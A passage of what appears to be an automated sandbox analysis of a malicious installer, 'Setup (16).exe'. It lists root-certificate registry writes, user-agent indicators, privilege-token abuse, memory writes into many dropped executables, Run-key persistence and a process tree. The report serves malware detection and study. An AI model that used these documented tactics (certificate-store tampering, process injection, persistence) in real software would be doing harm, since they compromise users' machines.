7783651ace99ef4783a8dcf0fd942e2980cab2f9f0e01deef9f9949f12ddfac744d1b98b547c5e529d1f99018c7629cbe83c7267b3e8a25c7c0dd9de6356810209d8fd8ded2c3849c0d5ee82fc90203010001a381c03081bd301d0603551d0e04160414a0110a233e96f107ece2af29ef82a57fd030a4b4300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff307b0603551d1f047430723038a036a0348632687474703a2f2f63726c2e636f6d6f646f63612e636f6d2f414141436572746966696361746553657276696365732e63726c3036a034a0328630687474703a2f2f63726c2e636f6d6f646f2e6e65742f414141436572746966696361746553657276696365732e63726c300d06092a864886f70d010105050003820101000856fc02f09be8ffa4fad67bc64480ce4fc4c5f60058cca6b6bc1449680476e8e6ee5dec020f60d68d50184f264e01e3e6b0a5eebfbc745441bffdfc12b8c74f5af48960057f60b7054af3f6f1c2bfc4b97486b62d7d6bccd2f346dd2fc6e06ac3c334032c7d96dd5ac20ea70a99c1058bab0c2ff35c3acf6c37550987de53406c58effcb6ab656e04f61bdc3ce05a15c69ed9f15948302165036cece92173ec9b03a1e037ada015188ffaba02cea72ca910132cd4e50826ab229760f8905e74d4a29a53bdf2a968e0a26ec2d76cb1a30f9ebfeb68e756f2aef2e32b383a0981b56b85d7be2ded3f1ab7b263e2f5622c82d46a004150f139839f95e93696986e	8980020.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\B1BC968BD4F49D622AA89A81F2150152A41D829C\Blob = 0400000001000000100000003e455215095192e1b75d379fb187298a0f00000001000000140000005a6d07b6371d966a2fb6ba92828ce5512a49513d090000000100000068000000306606082b0601050507030106082b0601050507030206082b0601050507030306082b0601050507030406082b0601050507030806082b06010505070309060a2b0601040182370a030406082b0601050507030606082b0601050507030706082b060105050802025300000001000000230000003021301f06092b06010401a032010130123010060a2b0601040182373c0101030200c00b000000010000001600000047006c006f00620061006c005300690067006e000000140000000100000014000000607b661a450d97ca89502f7d04cd34a8fffcfd4b1d00000001000000100000006ee7f3b060d10e90a31ba3471b999236030000000100000014000000b1bc968bd4f49d622aa89a81f2150152a41d829c190000000100000010000000a823b4a20180beb460cab955c24d7e21200000000100000079030000308203753082025da003020102020b040000000001154b5ac394300d06092a864886f70d01010505003057310b300906035504061302424531193017060355040a1310476c6f62616c5369676e206e762d73613110300e060355040b1307526f6f74204341311b301906035504031312476c6f62616c5369676e20526f6f74204341301e170d3938303930313132303030305a170d3238303132383132303030305a3057310b300906035504061302424531193017060355040a1310476c6f62616c5369676e206e762d73613110300e060355040b1307526f6f74204341311b301906035504031312476c6f62616c5369676e20526f6f7420434130820122300d06092a864886f70d01010105000382010f003082010a0282010100da0ee6998dcea3e34f8a7efbf18b83256bea481ff12ab0b9951104bdf063d1e26766cf1cddcf1b482bee8d898e9aaf298065abe9c72d12cbab1c4c7007a13d0a30cd158d4ff8ddd48c50151cef50eec42ef7fce952f2917de06dd535308e5e4373f241e9d56ae3b2893a5639386f063c88695b2a4dc5a754b86c89cc9bf93ccae5fd89f5123c927896d6dc746e934461d18dc746b2750e86e8198ad56d6cd5781695a2e9c80a38ebf224134f73549313853a1bbc1e34b58b058cb9778bb1db1f2091ab09536e90ce7b3774b97047912251631679aeb1ae412608c8192bd146aa48d6642ad78334ff2c2ac16c19434a0785e7d37cf62168efeaf2529f7f9390cf0203010001a3423040300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff301d0603551d0e04160414607b661a450d97ca89502f7d04cd34a8fffcfd4b300d06092a864886f70d01010505000382010100d673e77c4f76d08dbfecbaa2be34c52832b57cfc6c9c2c2bbd099e53bf6b5eaa1148b6e508a3b3ca3d614dd34609b33ec3a0e363551bf2baefad39e143b938a3e62f8a263befa05056f9c60afd38cdc40b705194979804dfc35f94d515c914419cc45d7564150dff5530ec868fff0def2cb96346f6aafcdfbc69fd2e1248649ae095f0a6ef298f01b115b50c1da5fe692c6924781eb3a71c7162eecac897ac175d8ac2f847866e2ac4563195d06789852bf96ca65d469d0caa82e49951dd70b7db563d61e46ae15cd6f6fe3dde41cc07ae6352bf5353f42be9c7fdb6f7825f85d24118db81b3041cc51fa4806f1520c9de0c880a1dd66655e2fc48c9292669e0	mvWL8je5yu1dQeHCggvwKKXr.tmp
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\B1BC968BD4F49D622AA89A81F2150152A41D829C\Blob = 0f00000001000000140000005a6d07b6371d966a2fb6ba92828ce5512a49513d090000000100000068000000306606082b0601050507030106082b0601050507030206082b0601050507030306082b0601050507030406082b0601050507030806082b06010505070309060a2b0601040182370a030406082b0601050507030606082b0601050507030706082b060105050802025300000001000000230000003021301f06092b06010401a032010130123010060a2b0601040182373c0101030200c00b000000010000001600000047006c006f00620061006c005300690067006e000000140000000100000014000000607b661a450d97ca89502f7d04cd34a8fffcfd4b1d00000001000000100000006ee7f3b060d10e90a31ba3471b999236030000000100000014000000b1bc968bd4f49d622aa89a81f2150152a41d829c200000000100000079030000308203753082025da003020102020b040000000001154b5ac394300d06092a864886f70d01010505003057310b300906035504061302424531193017060355040a1310476c6f62616c5369676e206e762d73613110300e060355040b1307526f6f74204341311b301906035504031312476c6f62616c5369676e20526f6f74204341301e170d3938303930313132303030305a170d3238303132383132303030305a3057310b300906035504061302424531193017060355040a1310476c6f62616c5369676e206e762d73613110300e060355040b1307526f6f74204341311b301906035504031312476c6f62616c5369676e20526f6f7420434130820122300d06092a864886f70d01010105000382010f003082010a0282010100da0ee6998dcea3e34f8a7efbf18b83256bea481ff12ab0b9951104bdf063d1e26766cf1cddcf1b482bee8d898e9aaf298065abe9c72d12cbab1c4c7007a13d0a30cd158d4ff8ddd48c50151cef50eec42ef7fce952f2917de06dd535308e5e4373f241e9d56ae3b2893a5639386f063c88695b2a4dc5a754b86c89cc9bf93ccae5fd89f5123c927896d6dc746e934461d18dc746b2750e86e8198ad56d6cd5781695a2e9c80a38ebf224134f73549313853a1bbc1e34b58b058cb9778bb1db1f2091ab09536e90ce7b3774b97047912251631679aeb1ae412608c8192bd146aa48d6642ad78334ff2c2ac16c19434a0785e7d37cf62168efeaf2529f7f9390cf0203010001a3423040300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff301d0603551d0e04160414607b661a450d97ca89502f7d04cd34a8fffcfd4b300d06092a864886f70d01010505000382010100d673e77c4f76d08dbfecbaa2be34c52832b57cfc6c9c2c2bbd099e53bf6b5eaa1148b6e508a3b3ca3d614dd34609b33ec3a0e363551bf2baefad39e143b938a3e62f8a263befa05056f9c60afd38cdc40b705194979804dfc35f94d515c914419cc45d7564150dff5530ec868fff0def2cb96346f6aafcdfbc69fd2e1248649ae095f0a6ef298f01b115b50c1da5fe692c6924781eb3a71c7162eecac897ac175d8ac2f847866e2ac4563195d06789852bf96ca65d469d0caa82e49951dd70b7db563d61e46ae15cd6f6fe3dde41cc07ae6352bf5353f42be9c7fdb6f7825f85d24118db81b3041cc51fa4806f1520c9de0c880a1dd66655e2fc48c9292669e0	Setup (16).exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349\Blob = 040000000100000010000000497904b0eb8719ac47b0bc11519b74d00f00000001000000140000003e8e6487f8fd27d322a269a71edaac5d57811286090000000100000034000000303206082b0601050507030106082b0601050507030206082b0601050507030406082b0601050507030306082b0601050507030853000000010000002600000030243022060c2b06010401b231010201050130123010060a2b0601040182373c0101030200c00b00000001000000180000004300b7004f00b7004d00b7004f00b7004400b7004f000000140000000100000014000000a0110a233e96f107ece2af29ef82a57fd030a4b41d00000001000000100000002e0d6875874a44c820912e85e964cfdb030000000100000014000000d1eb23a46d17d68fd92564c2f1f1601764d8e3491900000001000000100000002aa1c05e2ae606f198c2c5e937c97aa2200000000100000036040000308204323082031aa003020102020101300d06092a864886f70d0101050500307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c18414141204365727469666963617465205365727669636573301e170d3034303130313030303030305a170d3238313233313233353935395a307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c1841414120436572746966696361746520536572766963657330820122300d06092a864886f70d01010105000382010f003082010a0282010100be409df46ee1ea76871c4d45448ebe46c883069dc12afe181f8ee402faf3ab5d508a16310b9a06d0c57022cd492d5463ccb66e68460b53eacb4c24c0bc724eeaf115aef4549a120ac37ab23360e2da8955f32258f3dedccfef8386a28c944f9f68f29890468427c776bfe3cc352c8b5e07646582c048b0a891f9619f762050a891c766b5eb78620356f08a1a13ea31a31ea099fd38f6f62732586f07f56bb8fb142bafb7aaccd6635f738cda0599a838a8cb17783651ace99ef4783a8dcf0fd942e2980cab2f9f0e01deef9f9949f12ddfac744d1b98b547c5e529d1f99018c7629cbe83c7267b3e8a25c7c0dd9de6356810209d8fd8ded2c3849c0d5ee82fc90203010001a381c03081bd301d0603551d0e04160414a0110a233e96f107ece2af29ef82a57fd030a4b4300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff307b0603551d1f047430723038a036a0348632687474703a2f2f63726c2e636f6d6f646f63612e636f6d2f414141436572746966696361746553657276696365732e63726c3036a034a0328630687474703a2f2f63726c2e636f6d6f646f2e6e65742f414141436572746966696361746553657276696365732e63726c300d06092a864886f70d010105050003820101000856fc02f09be8ffa4fad67bc64480ce4fc4c5f60058cca6b6bc1449680476e8e6ee5dec020f60d68d50184f264e01e3e6b0a5eebfbc745441bffdfc12b8c74f5af48960057f60b7054af3f6f1c2bfc4b97486b62d7d6bccd2f346dd2fc6e06ac3c334032c7d96dd5ac20ea70a99c1058bab0c2ff35c3acf6c37550987de53406c58effcb6ab656e04f61bdc3ce05a15c69ed9f15948302165036cece92173ec9b03a1e037ada015188ffaba02cea72ca910132cd4e50826ab229760f8905e74d4a29a53bdf2a968e0a26ec2d76cb1a30f9ebfeb68e756f2aef2e32b383a0981b56b85d7be2ded3f1ab7b263e2f5622c82d46a004150f139839f95e93696986e	md8_8eus.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\5FB7EE0633E259DBAD0C4C9AE6D38F1A61C7DC25	mvWL8je5yu1dQeHCggvwKKXr.tmp
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\5FB7EE0633E259DBAD0C4C9AE6D38F1A61C7DC25\Blob = 0f0000000100000014000000e35ef08d884f0a0ade2f75e96301ce6230f213a8090000000100000034000000303206082b0601050507030106082b0601050507030206082b0601050507030406082b0601050507030306082b060105050703085300000001000000230000003021301f06096086480186fd6c020130123010060a2b0601040182373c0101030200c0140000000100000014000000b13ec36903f8bf4701d498261a0802ef63642bc30b00000001000000120000004400690067006900430065007200740000001d00000001000000100000008f76b981d528ad4770088245e2031b630300000001000000140000005fb7ee0633e259dbad0c4c9ae6d38f1a61c7dc252000000001000000c9030000308203c5308202ada003020102021002ac5c266a0b409b8f0b79f2ae462577300d06092a864886f70d0101050500306c310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312b30290603550403132244696769436572742048696768204173737572616e636520455620526f6f74204341301e170d3036313131303030303030305a170d3331313131303030303030305a306c310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312b30290603550403132244696769436572742048696768204173737572616e636520455620526f6f7420434130820122300d06092a864886f70d01010105000382010f003082010a0282010100c6cce573e6fbd4bbe52d2d32a6dfe5813fc9cd2549b6712ac3d5943467a20a1cb05f69a640b1c4b7b28fd098a4a941593ad3dc94d63cdb7438a44acc4d2582f74aa5531238eef3496d71917e63b6aba65fc3a484f84f6251bef8c5ecdb3892e306e508910cc4284155fbcb5a89157e71e835bf4d72093dbe3a38505b77311b8db3c724459aa7ac6d00145a04b7ba13eb510a984141224e656187814150a6795c89de194a57d52ee65d1c532c7e98cd1a0616a46873d03404135ca171d35a7c55db5e64e13787305604e511b4298012f1793988a202117c2766b788b778f2ca0aa838ab0a64c2bf665d9584c1a1251e875d1a500b2012cc41bb6e0b5138b84bcb0203010001a3633061300e0603551d0f0101ff040403020186300f0603551d130101ff040530030101ff301d0603551d0e04160414b13ec36903f8bf4701d498261a0802ef63642bc3301f0603551d23041830168014b13ec36903f8bf4701d498261a0802ef63642bc3300d06092a864886f70d010105050003820101001c1a0697dcd79c9f3c886606085721db2147f82a67aabf183276401057c18af37ad911658e35fa9efc45b59ed94c314bb891e8432c8eb378cedbe3537971d6e5219401da55879a2464f68a66ccde9c37cda834b1699b23c89e78222b7043e35547316119ef58c5852f4e30f6a0311623c8e7e2651633cbbf1a1ba03df8ca5e8b318b6008892d0c065c52b7c4f90a98d1155f9f12be7c366338bd44a47fe4262b0ac497690de98ce2c01057b8c876129155f24869d8bc2a025b0f44d42031dbf4ba70265d90609ebc4b17092fb4cb1e4368c90727c1d25cf7ea21b968129c3c9cbf9efc805c9b63cdec47aa252767a037f300827d54d7a9f8e92e13a377e81f4a	mvWL8je5yu1dQeHCggvwKKXr.tmp

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery
T1018

Processes:

PING.EXE

pid process

1596 PING.EXE

pid	process
1596	PING.EXE

Script User-Agent 8 IoCs

Uses user-agent string associated with script host/environment.

Processes:

description	flow	ioc
HTTP User-Agent header	396	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	399	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	455	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	196	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	197	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	199	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	221	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	231	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)

Suspicious behavior: EnumeratesProcesses 37 IoCs

Processes:

Setup (16).exeEykaANb__Apcod7Ks5ARJo1w.exe44it3_f9rjPnDsg73rzaxrqr.exe44it3_f9rjPnDsg73rzaxrqr.exe8980020.exeVTGU0ajEwmUUi0d_X7aRCSVv.exeR79swvhA1TwtQx53BegdLdP5.exeWerFault.exe6810979.exeql8kErLtdJtMYazDIjXD73Qa.exeeSBkvaUl7sRtA7Qh7Ne91x8D.exeIEXPLORE.EXEWerFault.exejfiag3g_gg.exe

pid	process
1104	Setup (16).exe
2012	EykaANb__Apcod7Ks5ARJo1w.exe
2812	44it3_f9rjPnDsg73rzaxrqr.exe
2812	44it3_f9rjPnDsg73rzaxrqr.exe
2088	44it3_f9rjPnDsg73rzaxrqr.exe
2088	44it3_f9rjPnDsg73rzaxrqr.exe
2088	44it3_f9rjPnDsg73rzaxrqr.exe
2088	44it3_f9rjPnDsg73rzaxrqr.exe
2564	8980020.exe
1440	VTGU0ajEwmUUi0d_X7aRCSVv.exe
1440	VTGU0ajEwmUUi0d_X7aRCSVv.exe
2620	R79swvhA1TwtQx53BegdLdP5.exe
1788	WerFault.exe
1788	WerFault.exe
1788	WerFault.exe
1788	WerFault.exe
1788	WerFault.exe
1788	WerFault.exe
1788	WerFault.exe
1788	WerFault.exe
2524	6810979.exe
1940	ql8kErLtdJtMYazDIjXD73Qa.exe
2240	eSBkvaUl7sRtA7Qh7Ne91x8D.exe
1940	ql8kErLtdJtMYazDIjXD73Qa.exe
2240	eSBkvaUl7sRtA7Qh7Ne91x8D.exe
3036	IEXPLORE.EXE
2116
1668	WerFault.exe
1668	WerFault.exe
1668	WerFault.exe
1668	WerFault.exe
1668	WerFault.exe
1668	WerFault.exe
1668	WerFault.exe
1668	WerFault.exe
2116
1616	jfiag3g_gg.exe

Suspicious use of AdjustPrivilegeToken 20 IoCs

Processes:

EykaANb__Apcod7Ks5ARJo1w.exezfcNcev0sctvRCTh9vCplsB7.exeI7LpJlOf7wt78rukNZ4zGZRg.exeaon9rPvmwx5iJQ45kjJzixck.exe8980020.exe44it3_f9rjPnDsg73rzaxrqr.exe6810979.exeR79swvhA1TwtQx53BegdLdP5.exeVTGU0ajEwmUUi0d_X7aRCSVv.exe8244320.exemshta.exeql8kErLtdJtMYazDIjXD73Qa.exeWerFault.exeeSBkvaUl7sRtA7Qh7Ne91x8D.exeTrustedInstaller.exeWerFault.exetaskkill.exe1rc78H_vKfQteZwZ49pfaCtO.exepIdWMKgTEJiWNYD6XkDHxj8P.exe

description	pid	process
Token: SeDebugPrivilege	2012	EykaANb__Apcod7Ks5ARJo1w.exe
Token: SeDebugPrivilege	1408	zfcNcev0sctvRCTh9vCplsB7.exe
Token: SeDebugPrivilege	1924	I7LpJlOf7wt78rukNZ4zGZRg.exe
Token: SeDebugPrivilege	860	aon9rPvmwx5iJQ45kjJzixck.exe
Token: SeDebugPrivilege	2564	8980020.exe
Token: SeDebugPrivilege	2812	44it3_f9rjPnDsg73rzaxrqr.exe
Token: SeDebugPrivilege	2524	6810979.exe
Token: SeDebugPrivilege	2620	R79swvhA1TwtQx53BegdLdP5.exe
Token: SeDebugPrivilege	1440	VTGU0ajEwmUUi0d_X7aRCSVv.exe
Token: SeDebugPrivilege	3036	8244320.exe
Token: SeDebugPrivilege	1824	mshta.exe
Token: SeDebugPrivilege	1940	ql8kErLtdJtMYazDIjXD73Qa.exe
Token: SeDebugPrivilege	1788	WerFault.exe
Token: SeDebugPrivilege	2116
Token: SeDebugPrivilege	2240	eSBkvaUl7sRtA7Qh7Ne91x8D.exe
Token: SeDebugPrivilege	2560	TrustedInstaller.exe
Token: SeDebugPrivilege	1668	WerFault.exe
Token: SeDebugPrivilege	2420	taskkill.exe
Token: SeDebugPrivilege	1576	1rc78H_vKfQteZwZ49pfaCtO.exe
Token: SeDebugPrivilege	2988	pIdWMKgTEJiWNYD6XkDHxj8P.exe

Suspicious use of FindShellTrayWindow 1 IoCs

Processes:

mvWL8je5yu1dQeHCggvwKKXr.tmp

pid process

2512 mvWL8je5yu1dQeHCggvwKKXr.tmp
Suspicious use of SetWindowsHookEx 1 IoCs

Processes:

44it3_f9rjPnDsg73rzaxrqr.exe

pid process

2812 44it3_f9rjPnDsg73rzaxrqr.exe

pid	process
2512	mvWL8je5yu1dQeHCggvwKKXr.tmp

pid	process
2812	44it3_f9rjPnDsg73rzaxrqr.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

Setup (16).exe

description	pid	process	target process
PID 1104 wrote to memory of 1716	1104	Setup (16).exe	R79swvhA1TwtQx53BegdLdP5.exe
PID 1104 wrote to memory of 1716	1104	Setup (16).exe	R79swvhA1TwtQx53BegdLdP5.exe
PID 1104 wrote to memory of 1716	1104	Setup (16).exe	R79swvhA1TwtQx53BegdLdP5.exe
PID 1104 wrote to memory of 1716	1104	Setup (16).exe	R79swvhA1TwtQx53BegdLdP5.exe
PID 1104 wrote to memory of 1408	1104	Setup (16).exe	zfcNcev0sctvRCTh9vCplsB7.exe
PID 1104 wrote to memory of 1408	1104	Setup (16).exe	zfcNcev0sctvRCTh9vCplsB7.exe
PID 1104 wrote to memory of 1408	1104	Setup (16).exe	zfcNcev0sctvRCTh9vCplsB7.exe
PID 1104 wrote to memory of 1408	1104	Setup (16).exe	zfcNcev0sctvRCTh9vCplsB7.exe
PID 1104 wrote to memory of 2012	1104	Setup (16).exe	EykaANb__Apcod7Ks5ARJo1w.exe
PID 1104 wrote to memory of 2012	1104	Setup (16).exe	EykaANb__Apcod7Ks5ARJo1w.exe
PID 1104 wrote to memory of 2012	1104	Setup (16).exe	EykaANb__Apcod7Ks5ARJo1w.exe
PID 1104 wrote to memory of 2012	1104	Setup (16).exe	EykaANb__Apcod7Ks5ARJo1w.exe
PID 1104 wrote to memory of 940	1104	Setup (16).exe	bHyICq8c3y80YIyv1cBM_ega.exe
PID 1104 wrote to memory of 940	1104	Setup (16).exe	bHyICq8c3y80YIyv1cBM_ega.exe
PID 1104 wrote to memory of 940	1104	Setup (16).exe	bHyICq8c3y80YIyv1cBM_ega.exe
PID 1104 wrote to memory of 940	1104	Setup (16).exe	bHyICq8c3y80YIyv1cBM_ega.exe
PID 1104 wrote to memory of 2028	1104	Setup (16).exe	z_KYDTg8KsWKA12TwNaeWp0X.exe
PID 1104 wrote to memory of 2028	1104	Setup (16).exe	z_KYDTg8KsWKA12TwNaeWp0X.exe
PID 1104 wrote to memory of 2028	1104	Setup (16).exe	z_KYDTg8KsWKA12TwNaeWp0X.exe
PID 1104 wrote to memory of 2028	1104	Setup (16).exe	z_KYDTg8KsWKA12TwNaeWp0X.exe
PID 1104 wrote to memory of 1576	1104	Setup (16).exe	1rc78H_vKfQteZwZ49pfaCtO.exe
PID 1104 wrote to memory of 1576	1104	Setup (16).exe	1rc78H_vKfQteZwZ49pfaCtO.exe
PID 1104 wrote to memory of 1576	1104	Setup (16).exe	1rc78H_vKfQteZwZ49pfaCtO.exe
PID 1104 wrote to memory of 1576	1104	Setup (16).exe	1rc78H_vKfQteZwZ49pfaCtO.exe
PID 1104 wrote to memory of 1576	1104	Setup (16).exe	1rc78H_vKfQteZwZ49pfaCtO.exe
PID 1104 wrote to memory of 1576	1104	Setup (16).exe	1rc78H_vKfQteZwZ49pfaCtO.exe
PID 1104 wrote to memory of 1576	1104	Setup (16).exe	1rc78H_vKfQteZwZ49pfaCtO.exe
PID 1104 wrote to memory of 1920	1104	Setup (16).exe	3aqoPvaxZKNUk3cgUNAt_Qd_.exe
PID 1104 wrote to memory of 1920	1104	Setup (16).exe	3aqoPvaxZKNUk3cgUNAt_Qd_.exe
PID 1104 wrote to memory of 1920	1104	Setup (16).exe	3aqoPvaxZKNUk3cgUNAt_Qd_.exe
PID 1104 wrote to memory of 1920	1104	Setup (16).exe	3aqoPvaxZKNUk3cgUNAt_Qd_.exe
PID 1104 wrote to memory of 1512	1104	Setup (16).exe	eSBkvaUl7sRtA7Qh7Ne91x8D.exe
PID 1104 wrote to memory of 1512	1104	Setup (16).exe	eSBkvaUl7sRtA7Qh7Ne91x8D.exe
PID 1104 wrote to memory of 1512	1104	Setup (16).exe	eSBkvaUl7sRtA7Qh7Ne91x8D.exe
PID 1104 wrote to memory of 1512	1104	Setup (16).exe	eSBkvaUl7sRtA7Qh7Ne91x8D.exe
PID 1104 wrote to memory of 1924	1104	Setup (16).exe	I7LpJlOf7wt78rukNZ4zGZRg.exe
PID 1104 wrote to memory of 1924	1104	Setup (16).exe	I7LpJlOf7wt78rukNZ4zGZRg.exe
PID 1104 wrote to memory of 1924	1104	Setup (16).exe	I7LpJlOf7wt78rukNZ4zGZRg.exe
PID 1104 wrote to memory of 1924	1104	Setup (16).exe	I7LpJlOf7wt78rukNZ4zGZRg.exe
PID 1104 wrote to memory of 1440	1104	Setup (16).exe	VTGU0ajEwmUUi0d_X7aRCSVv.exe
PID 1104 wrote to memory of 1440	1104	Setup (16).exe	VTGU0ajEwmUUi0d_X7aRCSVv.exe
PID 1104 wrote to memory of 1440	1104	Setup (16).exe	VTGU0ajEwmUUi0d_X7aRCSVv.exe
PID 1104 wrote to memory of 1440	1104	Setup (16).exe	VTGU0ajEwmUUi0d_X7aRCSVv.exe
PID 1104 wrote to memory of 1440	1104	Setup (16).exe	VTGU0ajEwmUUi0d_X7aRCSVv.exe
PID 1104 wrote to memory of 1440	1104	Setup (16).exe	VTGU0ajEwmUUi0d_X7aRCSVv.exe
PID 1104 wrote to memory of 1440	1104	Setup (16).exe	VTGU0ajEwmUUi0d_X7aRCSVv.exe
PID 1104 wrote to memory of 1940	1104	Setup (16).exe	ql8kErLtdJtMYazDIjXD73Qa.exe
PID 1104 wrote to memory of 1940	1104	Setup (16).exe	ql8kErLtdJtMYazDIjXD73Qa.exe
PID 1104 wrote to memory of 1940	1104	Setup (16).exe	ql8kErLtdJtMYazDIjXD73Qa.exe
PID 1104 wrote to memory of 1940	1104	Setup (16).exe	ql8kErLtdJtMYazDIjXD73Qa.exe
PID 1104 wrote to memory of 1940	1104	Setup (16).exe	ql8kErLtdJtMYazDIjXD73Qa.exe
PID 1104 wrote to memory of 1940	1104	Setup (16).exe	ql8kErLtdJtMYazDIjXD73Qa.exe
PID 1104 wrote to memory of 1940	1104	Setup (16).exe	ql8kErLtdJtMYazDIjXD73Qa.exe
PID 1104 wrote to memory of 860	1104	Setup (16).exe	aon9rPvmwx5iJQ45kjJzixck.exe
PID 1104 wrote to memory of 860	1104	Setup (16).exe	aon9rPvmwx5iJQ45kjJzixck.exe
PID 1104 wrote to memory of 860	1104	Setup (16).exe	aon9rPvmwx5iJQ45kjJzixck.exe
PID 1104 wrote to memory of 860	1104	Setup (16).exe	aon9rPvmwx5iJQ45kjJzixck.exe
PID 1104 wrote to memory of 1552	1104	Setup (16).exe	6BeAkTs_kk49IusYiiOETTR5.exe
PID 1104 wrote to memory of 1552	1104	Setup (16).exe	6BeAkTs_kk49IusYiiOETTR5.exe
PID 1104 wrote to memory of 1552	1104	Setup (16).exe	6BeAkTs_kk49IusYiiOETTR5.exe
PID 1104 wrote to memory of 1552	1104	Setup (16).exe	6BeAkTs_kk49IusYiiOETTR5.exe
PID 1104 wrote to memory of 2100	1104	Setup (16).exe	7Jf0NIqkSK6k71gmKLgTDu19.exe
PID 1104 wrote to memory of 2100	1104	Setup (16).exe	7Jf0NIqkSK6k71gmKLgTDu19.exe
PID 1104 wrote to memory of 2100	1104	Setup (16).exe	7Jf0NIqkSK6k71gmKLgTDu19.exe

C:\Users\Admin\AppData\Local\Temp\Setup (16).exe
"C:\Users\Admin\AppData\Local\Temp\Setup (16).exe"
1⤵
- Checks computer location settings
- Loads dropped DLL
- Modifies system certificate store
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:1104

C:\Users\Admin\Documents\R79swvhA1TwtQx53BegdLdP5.exe
"C:\Users\Admin\Documents\R79swvhA1TwtQx53BegdLdP5.exe"
2⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:1716

C:\Users\Admin\Documents\R79swvhA1TwtQx53BegdLdP5.exe
C:\Users\Admin\Documents\R79swvhA1TwtQx53BegdLdP5.exe
3⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2620

C:\Users\Admin\Documents\zfcNcev0sctvRCTh9vCplsB7.exe
"C:\Users\Admin\Documents\zfcNcev0sctvRCTh9vCplsB7.exe"
2⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of AdjustPrivilegeToken
PID:1408

C:\Users\Admin\AppData\Local\Temp\ssqq.exe
"C:\Users\Admin\AppData\Local\Temp\ssqq.exe"
3⤵
- Executes dropped EXE
PID:2628

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 2628 -s 552
4⤵
- Program crash
PID:3720

C:\Users\Admin\Documents\mhhPDlCAPrEHNZqZgE4HMMlJ.exe
"C:\Users\Admin\Documents\mhhPDlCAPrEHNZqZgE4HMMlJ.exe"
2⤵
- Executes dropped EXE
PID:1544

C:\Users\Admin\Documents\EykaANb__Apcod7Ks5ARJo1w.exe
"C:\Users\Admin\Documents\EykaANb__Apcod7Ks5ARJo1w.exe"
2⤵
- Executes dropped EXE
- Loads dropped DLL
- Adds Run key to start application
- Drops file in System32 directory
- Drops file in Program Files directory
- Drops file in Windows directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2012

C:\PerfLogs\Admin\44it3_f9rjPnDsg73rzaxrqr.exe
"C:\PerfLogs\Admin\44it3_f9rjPnDsg73rzaxrqr.exe"
3⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
PID:2812

C:\Users\Admin\Documents\1rc78H_vKfQteZwZ49pfaCtO.exe
"C:\Users\Admin\Documents\1rc78H_vKfQteZwZ49pfaCtO.exe"
2⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of AdjustPrivilegeToken
PID:1576

C:\Users\Admin\Documents\z_KYDTg8KsWKA12TwNaeWp0X.exe
"C:\Users\Admin\Documents\z_KYDTg8KsWKA12TwNaeWp0X.exe"
2⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:2028

C:\Users\Admin\Documents\z_KYDTg8KsWKA12TwNaeWp0X.exe
"C:\Users\Admin\Documents\z_KYDTg8KsWKA12TwNaeWp0X.exe"
3⤵
- Executes dropped EXE
PID:2336

C:\Users\Admin\Documents\bHyICq8c3y80YIyv1cBM_ega.exe
"C:\Users\Admin\Documents\bHyICq8c3y80YIyv1cBM_ega.exe"
2⤵
- Executes dropped EXE
PID:940

C:\Users\Admin\Documents\3aqoPvaxZKNUk3cgUNAt_Qd_.exe
"C:\Users\Admin\Documents\3aqoPvaxZKNUk3cgUNAt_Qd_.exe"
2⤵
- Executes dropped EXE
PID:1920

C:\Users\Admin\Documents\eSBkvaUl7sRtA7Qh7Ne91x8D.exe
"C:\Users\Admin\Documents\eSBkvaUl7sRtA7Qh7Ne91x8D.exe"
2⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:1512

